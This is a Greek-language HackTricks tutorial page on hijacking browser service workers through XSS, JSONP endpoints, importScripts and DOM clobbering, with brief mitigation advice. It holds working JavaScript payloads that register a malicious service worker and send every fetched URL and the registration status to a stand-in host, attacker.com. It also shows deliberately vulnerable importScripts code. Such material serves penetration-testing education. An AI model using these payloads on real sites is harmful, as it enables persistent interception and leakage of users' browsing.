mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
133 lines
14 KiB
Markdown
133 lines
14 KiB
Markdown
# Κατάχρηση των Service Workers
|
||
|
||
|
||
|
||
<details>
|
||
|
||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* **Εγγραφείτε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
|
||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Βρείτε ευπάθειες που είναι πιο σημαντικές, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Ο Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίχημα, από τις διεπαφές προγραμματισμού εφαρμογών (APIs) μέχρι τις ιστοσελίδες και τα συστήματα στον νέφος. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
|
||
|
||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||
|
||
***
|
||
|
||
## Βασικές Πληροφορίες
|
||
|
||
Ένας **service worker** είναι ένα σενάριο που εκτελείται από τον περιηγητή σας στο παρασκήνιο, ξεχωριστά από οποιαδήποτε ιστοσελίδα, επιτρέποντας λειτουργίες που δεν απαιτούν ιστοσελίδα ή αλληλεπίδραση με τον χρήστη, ενισχύοντας έτσι τις δυνατότητες **εκτέλεσης εκτός σύνδεσης και στο παρασκήνιο**. Λεπτομερείς πληροφορίες για τους service workers μπορούν να βρεθούν [εδώ](https://developers.google.com/web/fundamentals/primers/service-workers). Εκμεταλλευόμενοι τους service workers εντός ενός ευπάθους τομέα ιστοσελίδας, οι επιτιθέμενοι μπορούν να αποκτήσουν έλεγχο επί των αλληλεπιδράσεων του θύματος με όλες τις σελίδες εντός αυτού του τομέα.
|
||
|
||
|
||
### Έλεγχος για Υπάρχοντες Service Workers
|
||
|
||
Οι υπάρχοντες service workers μπορούν να ελεγχθούν στην ενότητα **Service Workers** της καρτέλας **Application** στα **Εργαλεία Προγραμματιστή**. Μια άλλη μέθοδος είναι να επισκεφθείτε τη διεύθυνση [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) για μια πιο λεπτομερή προβολή.
|
||
|
||
### Ειδοποιήσεις Push
|
||
|
||
Οι **άδειες ειδοποίησης push** επηρεάζουν απευθείας τη δυνατότητα ενός **service worker** να επικοινωνεί με τον διακομιστή χωρίς άμεση αλληλεπίδραση του χρήστη. Αν οι άδειες αρνηθούν, περιορίζεται η δυνατότητα του service worker να αποτελεί συνεχή απειλή. Αντίθετα, η χορήγηση άδειας αυξάνει τους κινδύνους ασφαλείας επιτρέποντας τη λήψη και εκτέλεση πιθανών εκμεταλλεύσεων.
|
||
|
||
## Επίθεση Δημιουργίας Service Worker
|
||
|
||
Για να εκμεταλλευτείτε αυτήν την ευπάθεια, πρέπει να βρείτε:
|
||
|
||
* Έναν τρόπο να **ανεβάσετε αυθαίρετα αρχεία JS** στον διακομιστή και ένα **XSS για να φορτώσετε τον service worker** του ανεβασμένου αρχείου JS
|
||
* Ένα **ευπάθεια JSONP αίτησης** όπου μπορείτε να **διαμορφώσετε την έξοδο (με αυθαίρετο κώδικα JS)** και ένα **XSS** για να **φορτώσετε το JSONP με ένα φορτίο** που θα **φορτώσει ένα κακόβουλο service worker**.
|
||
|
||
Στο παρακάτω παράδειγμα θα παρουσιάσω έναν κώδικα για να **καταχωρίσετε έναν νέο service worker** που θα ακούει το γεγονός `fetch` και θα **στέλνει στον διακομιστή των επιτιθέμενων κάθε φορτωμένο URL** (αυτός είναι ο κώδικας που θα χρειαζόσασταν να **ανεβάσετε** στον **διακομιστή** ή να φορτώσετε μέσω μιας **ευπάθειας απάντησης JSONP**):
|
||
```javascript
|
||
self.addEventListener('fetch', function(e) {
|
||
e.respondWith(caches.match(e.request).then(function(response) {
|
||
fetch('https://attacker.com/fetch_url/' + e.request.url)
|
||
});
|
||
```
|
||
Και αυτός είναι ο κώδικας που θα **καταχωρήσει τον εργαζόμενο** (ο κώδικας που θα πρέπει να μπορείτε να εκτελέσετε καταχρώμενοι ένα **XSS**). Σε αυτήν την περίπτωση, θα αποσταλεί ένα αίτημα **GET** στον διακομιστή του **επιτιθέμενου**, ενημερώνοντας αν η **καταχώρηση** του εργαζόμενου υπηρεσίας ήταν επιτυχής ή όχι:
|
||
```javascript
|
||
<script>
|
||
window.addEventListener('load', function() {
|
||
var sw = "/uploaded/ws_js.js";
|
||
navigator.serviceWorker.register(sw, {scope: '/'})
|
||
.then(function(registration) {
|
||
var xhttp2 = new XMLHttpRequest();
|
||
xhttp2.open("GET", "https://attacker.com/SW/success", true);
|
||
xhttp2.send();
|
||
}, function (err) {
|
||
var xhttp2 = new XMLHttpRequest();
|
||
xhttp2.open("GET", "https://attacker.com/SW/error", true);
|
||
xhttp2.send();
|
||
});
|
||
});
|
||
</script>
|
||
```
|
||
Σε περίπτωση κατάχρησης ενός ευάλωτου JSONP σημείου πρέπει να τοποθετήσετε την τιμή μέσα στη μεταβλητή `var sw`. Για παράδειγμα:
|
||
```javascript
|
||
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
|
||
```
|
||
Υπάρχει ένας **C2** αφιερωμένος στην **εκμετάλλευση των Service Workers** που ονομάζεται [**Shadow Workers**](https://shadow-workers.github.io) και θα είναι πολύ χρήσιμος για την κατάχρηση αυτών των ευπαθειών.
|
||
|
||
Η οδηγία **24ωρης προσωρινής αποθήκευσης** περιορίζει τη διάρκεια ζωής ενός κακόβουλου ή παραβιασμένου **service worker (SW)** σε το πολύ 24 ώρες μετά από την επιδιόρθωση μιας ευπάθειας XSS, υποθέτοντας ότι ο πελάτης είναι συνδεδεμένος στο διαδίκτυο. Για να ελαχιστοποιηθεί η ευπάθεια, οι χειριστές του ιστότοπου μπορούν να μειώσουν τον χρόνο ζωής (TTL) του script του SW. Συνιστάται επίσης στους προγραμματιστές να δημιουργήσουν ένα [**διακόπτη απενεργοποίησης του service worker**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) για γρήγορη απενεργοποίηση.
|
||
|
||
## Κατάχρηση της `importScripts` σε ένα SW μέσω DOM Clobbering
|
||
|
||
Η συνάρτηση **`importScripts`** που καλείται από ένα Service Worker μπορεί να **εισάγει ένα script από διαφορετικό τομέα**. Εάν αυτή η συνάρτηση καλείται χρησιμοποιώντας ένα **παράμετρο που ένας επιτιθέμενος θα μπορούσε** να τροποποιήσει, θα μπορούσε να **εισάγει ένα JS script από τον δικό του τομέα** και να προκαλέσει XSS.
|
||
|
||
**Αυτό ακόμη παρακάμπτει τις προστασίες CSP.**
|
||
|
||
**Παράδειγμα ευπαθούς κώδικα:**
|
||
|
||
* **index.html**
|
||
```html
|
||
<script>
|
||
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
|
||
// attacker controls location.search
|
||
</script>
|
||
```
|
||
* **sw.js**
|
||
```javascript
|
||
const searchParams = new URLSearchParams(location.search);
|
||
let host = searchParams.get('host');
|
||
self.importScripts(host + "/sw_extra.js");
|
||
//host can be controllable by an attacker
|
||
```
|
||
### Με το DOM Clobbering
|
||
|
||
Για περισσότερες πληροφορίες σχετικά με το τι είναι το DOM Clobbering, ανατρέξτε στο:
|
||
|
||
{% content-ref url="dom-clobbering.md" %}
|
||
[dom-clobbering.md](dom-clobbering.md)
|
||
{% endcontent-ref %}
|
||
|
||
Εάν η διεύθυνση URL/τομέας που ο SW χρησιμοποιεί για να καλέσει την **`importScripts`** βρίσκεται **μέσα σε ένα στοιχείο HTML**, είναι **δυνατό να το τροποποιήσετε μέσω του DOM Clobbering** για να κάνετε το SW να φορτώσει ένα σενάριο από τον δικό σας τομέα.
|
||
|
||
Για ένα παράδειγμα αυτού, ανατρέξτε στον σύνδεσμο αναφοράς.
|
||
|
||
## Αναφορές
|
||
|
||
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||
|
||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Βρείτε ευπάθειες που έχουν μεγαλύτερη σημασία, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Ο Intruder παρακολουθεί την επιθετική επιφάνειά σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίβο, από τις διεπαφές προγραμματισμού εφαρμογών (APIs) μέχρι τις ιστοσελίδες και τα συστήματα στον νέφος. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
|
||
|
||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||
|
||
|
||
<details>
|
||
|
||
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
* Δουλεύετε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* **Συμμετάσχετε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|